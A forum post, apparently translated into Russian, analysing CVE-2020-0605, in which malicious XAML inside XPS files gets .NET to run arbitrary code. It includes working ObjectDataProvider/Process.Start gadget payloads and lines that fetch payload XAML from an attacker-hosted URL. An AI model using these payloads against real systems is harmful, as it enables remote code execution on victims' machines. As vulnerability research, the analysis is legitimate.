• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Анализ CVE-2020-0605 – Выполнение произвольного кода, используя XPS файлы в .NET

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Введение
Майкрософт запатчила несколько уязвимостей, связанных с десериализацией XPS файлов. Патч, для CVE-2020-0605, вышедший в январе 2020, не исправлял проблему полностью и в мае 2020 было выпущено еще одно обновление.

Формат XPS предполагался, как замена PDF, но так и не получил широкого распространения. Microsoft сделала приложение XPS Viewer опциональным по-умолчанию, в последних версиях Windows (в установленных с нуля Windows 10 1083 и выше). XPS Viewer не использует .NET, для показа XPS файлов, поэтому уязвимость его не затронула.

Запатченая уязвимость позволяла проэксплуатировать код, работающий с XPS файлами, используя .NET библиотеки. Обнаруженные уязвимости также могут являться частью эксплуатации XAML десериализации.


Технический анализ

Каждый XPS файл содержит изображения, шрифты или XML данные в сжатом виде. Для обратки XML документов внутри XPS файлов, используется .NET сериализация XAML. Пример структуры XPS файла:
Код:
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
Файлы, с расширениями “.fdseq”, “.fdoc” и “.fpage”, используют XAML сериализацию, реализованную в .NET.

Также можно использовать другие расширения, если соответствующие типы прописаны в Content_Types.xml.

Можно взять простой пейлод из ysoserial и вставить в любой из этих файлов. Он будет запущен, при чтении XPS файла:
Код:
<ResourceDictionary
 xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
 xmlns:System="clr-namespace:System;assembly=mscorlib"
 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
 <ObjectDataProvider x:Key="LaunchCalc"
 ObjectType="{x:Type Diag:Process}"
 MethodName="Start">
 <ObjectDataProvider.MethodParameters>
 <System:String>cmd</System:String>
 <System:String>/c calc</System:String>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary>
Январский патч защищал только “.fdseq” файл, что позволяло использовать уязвимость, с другим файлами.

Следующий C# код демонстрирует два примера использования XPS файлов в .NET:
Код:
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();
или
Код:
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
Хочется отметить, что BAML файлы (BAML - скомпилированная версия XAML) внутри XPS не могли использоваться для эксплуатации в наших тестах, так как они вызывали внутренние ошибки.


Уязвимые .NET библиотеки

Методы Load и Validate класса XpsValidatingLoader (внутренний класс System.Windows.Documents), вызывают другой приватный метод, который использует XamlReader.Load и могут привести к выполнению произвольного кода, при обработке вредоносного XAML.
Код:
System.Windows.Documents.XpsValidatingLoader -> внутренний класс
    Load -> внутренний метод, используется в:
        System.Windows.Documents.PageContent
        System.Windows.Documents.FixedDocument
        System.Windows.Documents.DocumentReference
    Validate -> внутренний метод, используется в:
        System.Windows.Documents.FixedDocument
Вышеуказанные внутренние файлы классов затем используются другими классами, которые в конце концов будут доступны публично.


XAML гаджеты

Можно использовать уязвимый код, для добавления XAML гаджетов из ysoserial:
Использование FixedDocumentSequence и внешнего файла:
Код:
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>
Использование FixedDocumentSequence и свойства Resources:
Код:
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <FixedDocumentSequence.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="">
      <ObjectDataProvider.ObjectInstance>
        <sd:Process>
          <sd:Process.StartInfo>
            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
          </sd:Process.StartInfo>
        </sd:Process>
      </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
  </FixedDocumentSequence.Resources>
</FixedDocumentSequence>
Использование FixedDocument и внешнего файла:
Код:
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
    <PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>
использование FixedDocument и свойства Resources:
Код:
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <FixedDocument.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="">
      <ObjectDataProvider.ObjectInstance>
        <sd:Process>
          <sd:Process.StartInfo>
            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
          </sd:Process.StartInfo>
        </sd:Process>
      </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
  </FixedDocument.Resources>
</FixedDocument>

Оригинал
Автор перевода Thatskriptkid
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх